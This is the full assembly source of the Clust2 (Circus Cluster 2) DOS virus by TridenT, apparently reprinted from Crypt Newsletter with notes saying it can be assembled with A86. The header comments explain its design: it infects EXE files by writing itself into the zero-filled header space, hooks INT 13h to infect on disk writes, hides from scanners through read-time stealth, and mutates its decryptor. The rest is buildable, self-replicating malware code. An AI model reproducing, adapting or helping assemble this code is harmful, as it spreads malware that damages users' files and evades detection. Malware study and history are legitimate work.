;The Circus Cluster 2 virus is an experiment which TridenT finished after
;the original Cluster virus was published in Crypt 17. The source
;code in its original form is provided now.
;
;Credited to TridenT, Circus Cluster 2 uses some of
;the ideas of the Bulgarian virus known as The Rat.  The Rat was deemed
;tricky because it looked for "00" empty space below the header in
;an EXEfile - if it found enough room for itself, it wrote itself out
;to the empty space or "air" in the file.  This hid the virus in the 
;file, but added no change in file size.  This is a nice theme - one
;made famous by the ZeroHunt virus which first did the same with
;.COMfiles.  In both cases, the viruses had to be picky about the
;files they infected, limiting their spread.  This is still true with
;Circus Cluster 2 - it's an effective virus, but an extremely picky
;one.
;
;First, Circus Cluster 2 will attempt to copy itself into
;the "air" in an EXEfile just below the file header, if there is
;enough room.  The most common candidates for infection are standard
;MS/PC-DOS utility programs, like FIND or FC, among others.
;
;
;
;Because Circus Cluster installs its own INT 13 disk hander, it then can
;intercept all attempts to read from files for a quick look.
;For example, looking at a hex dump of a Cluster-infected .EXE,
;with Vern Berg's LIST, will show the files clean.  Now, boot
;the system clean and look again.  You'll see Cluster in the file's
;"00" space.
;
;Additional notes by Black Wolf & Urnst Kouch
;Crypt Newsletter 22. Circus Cluster 2 can be quickly assembled with
;the A86 shareware assembler.
;----------------------------------------------------------------------
;
; Clust2 virus by John Tardy / TridenT
;
; Virus Name:  Clust2
; Aliases:     Cluster-II, Circus Clusters-II
; V Status:    Released
; Discovery:   Not (yet)
; Symptoms:    .EXE altered, possible "sector not found" errors on disk-drives,
;              decrease in aveable memory
; Origin:      The Netherlands
; Eff Length:  386 bytes (EXE size doesn't change)
; Type Code:   ORhE - Overwriting Resident .EXE Infector
; Detection Method:
; Removal Instructions: Delete infected files or copy infected files with the
;                       virus resident to a device driven unit.
;
; General Comments:
; The Clust2 virus is not yet submitted to any antiviral authority. It
; is from the TridenT Virus Research Centre and was written by someone
; calling himself John Tardy. When an infected program is started, Clust2
; will become resident in high memory, but below TOM. It hooks interrupt
; 13h and will try to load the program again. Because of its stealth
; abilities the original program is loaded and will execute normally.
; The Clust2 virus infects files when a write request for interrupt 13h
; is done. It will check if the buffer contains the 'MZ' signature and
; that the candidate file isn't larger than 65000 bytes, and if there are
; enough zeros in the EXE-header. If these conditions are met, Clust2
; will convert the EXE file to a COM file and inserts its code in the
; buffer, allowing the original write request to proceed. This way it
; evades critical errors. The Clust2 virus is also stealth and can't be
; detected with virus scanners or checksumming software if the virus is
; resident. File-length and date doesn't change regardless if Clust2
; is resident. It's also a slighty polymorphic virus, mutating a few
; bytes in its decryptor. A wildcarded search string is needed to find it.
; The following text is encrypted within the
; virus:
;
;        "[Clust2]"
;        "JT / TridenT"
;
; The Clust2 virus will not infect files on device driven units, like drives
; compressed with DoubleSpace. It will disinfect itself on the fly
; when copied to such a device.
;
; Sometimes it will issue a "sector not found" error when a file is
; copied to a disk drive.
;
; The Clust2 virus doesn't do anything beside replicate.
;
		ORG     100H

JUMPIE:         JMP     SHORT JUMPER

		ORG     180H

JUMPER:         CLC
		MOV     CX,DECRLEN
MORPH           EQU     $-2
JASS:           LEA     SI,DECR
DECRYPT:        XOR     BYTE PTR [SI],0
TRIG            EQU     $-1
TRAG            EQU     $-2
TROG:           INC     SI
TREG:           LOOP    DECRYPT

DECR:           MOV     AX,3513H    
		INT     21H         ; return interrupt 13h handler
		MOV     OLD13,BX    ; segment: offset
		MOV     OLD13[2],ES
		MOV     AX,ES:[BX]
		CMP     AX,0FC80H   ; compare with virus ID
		JE      EXIT        ; terminate if virus resident

DOINST:         MOV     AH,0DH       ; empty disk buffers
		INT     21H

		MOV     AX,CS
		DEC     AX
		MOV     DS,AX
		CMP     BYTE PTR DS:[0],'Z'   ; last chain?
		JNE     EXIT                  ; if not, terminate
RESIT:          SUB     WORD PTR DS:[3],VIRPAR+19H   ; subtract from MCB size
		SUB     WORD PTR DS:[12H],VIRPAR+19H ; subtract from
		LEA     SI,JUMPER                    ; PSP top of memory
		MOV     DI,SI
		MOV     ES,DS:[12H]                  ; ES = new segment
		MOV     DS,CS
		MOV     CX,VIRLEN                    ; virus length
		REP     MOVSB                        ; copy it into memory

		MOV     AX,2513H                     ;
		MOV     DS,ES
		LEA     DX,NEW13                     ; set interrupt 13h 
		INT     21H                          ; into virus

		PUSH    CS
		POP     ES
		MOV     BX,100H
		MOV     SP,BX
		MOV     AH,4AH
		INT     21H           ; modify memory allocation
		PUSH    CS
		POP     DS
		MOV     BX,DS:[2CH]
		MOV     ES,BX
		MOV     AH,49H
		INT     21H

		XOR     AX,AX
		MOV     DI,1
SEEK:           DEC     DI       ; seek for file executed
		SCASW            ; in environment
		JNE     SEEK     ; located after two 0's

		LEA     SI,DS:[DI+2]
EXEC:           PUSH    BX
		PUSH    CS
		POP     DS                ; ds = environment segment
		MOV     BX,OFFSET PARAM
		MOV     DS:[BX+4],CS
		MOV     DS:[BX+8],CS
		MOV     DS:[BX+12],CS
		POP     DS
		PUSH    CS
		POP     ES

		MOV     DI,OFFSET FILENAME
		PUSH    DI
		MOV     CX,40
		REP     MOVSW
		PUSH    CS
		POP     DS

		POP     DX

		MOV     AX,4B00H    ; load & execute file 
		INT     21H
EXIT:           MOV     AH,4DH      ; 
		INT     21H
		MOV     AH,4CH
		INT     21H

OLD13           DW      0,0

ORG13:          JMP     D CS:[OLD13]    ; jump to old interrupt 13h

NEW13:          CMP     AH,3            ; is there a write to the disk?
		JE      CHECKEXE        ; if so, check for infection op.
		CMP     AH,2            ; is it a disk read?
		JNE     ORG13           ; if not, to original int 13h
DO:             PUSHF
		CALL    D CS:[OLD13]    ; call interrupt 13h
		CMP     ES:[BX],7EEBH   ; is sector infected?
		JNE     ERROR
		MOV     ES:[BX],'ZM'    ; cover virus ID with 'MZ'
		PUSH    DI
		PUSH    CX
		PUSH    AX

		MOV     CX,VIRLEN
		XOR     AX,AX
		LEA     DI,BX[80H]     ; hash virus from sector when read
		REP     STOSB

		POP     AX
		POP     CX
		POP     DI
ERROR:          IRET

CHECKEXE:       CMP     ES:[BX],'ZM'   ; is an .EXEfile being written?
		JNE     ORG13          ; to original address if not

		CMP     W ES:BX[4],(65000/512) ; is .EXEfile too large to
		JNB     ORG13                  ; convert? Compare with value
					       ; = max size (6500) divided by
					       ; sector size
		PUSH    AX
		PUSH    CX
		PUSH    SI
		PUSH    DI
		PUSH    DS

		PUSH    ES
		POP     DS
		LEA     SI,BX[80H]        ; look in the .EXEfile header
		MOV     DI,SI
		MOV     CX,VIRLEN
FIND0:          LODSB
		OR      AL,AL
		LOOPE   FIND0            ; check if field was hashed to 0's
		OR      CX,CX            ; and exit
		JNE     NO0              ; if not

		XOR     AX,AX
		MOV     DS,AX
		MOV     AX,DS:[046CH]
		PUSH    CS
		POP     DS
		TEST    AH,1
		JZ      NOLOOPFLIP
		XOR     B TREG,2
NOLOOPFLIP:     TEST    AH,2
		JZ      NOCLCFLIP
		XOR     B JUMPER,1
NOCLCFLIP:
		ADD     AX,VIRLEN
		SHR     AX,1
		MOV     W MORPH,AX
		MOV     B TRIG,AH
		XOR     B TRAG,1
		XOR     B JASS,1
		XOR     B TROG,1
		MOV     CX,CRYPT
		LEA     SI,JUMPER
		REP     MOVSB
		MOV     CX,DECRLEN
		LEA     SI,DECR
CODEIT:         LODSB
		XOR     AL,AH
		STOSB                   ; copy virus over 'air' in EXEheader
		LOOP    CODEIT          ; after encrypting
		MOV     DI,BX
		MOV     AX,07EEBH        ; insert jmp over original 'MZ'
		STOSW

NO0:            POP     DS
		POP     DI
		POP     SI
		POP     CX
		POP     AX
		JMP     ORG13

		DB      '[Clust2]'

PARAM           DW      0,80H,?,5CH,?,6CH,?

		DB      'JT / TridenT'

FILENAME        EQU     $
DECRLEN         EQU     $-DECR
CRYPT           EQU     DECR-JUMPER
VIRLEN          EQU     $-JUMPER
VIRPAR          EQU     ($-JUMPER)/16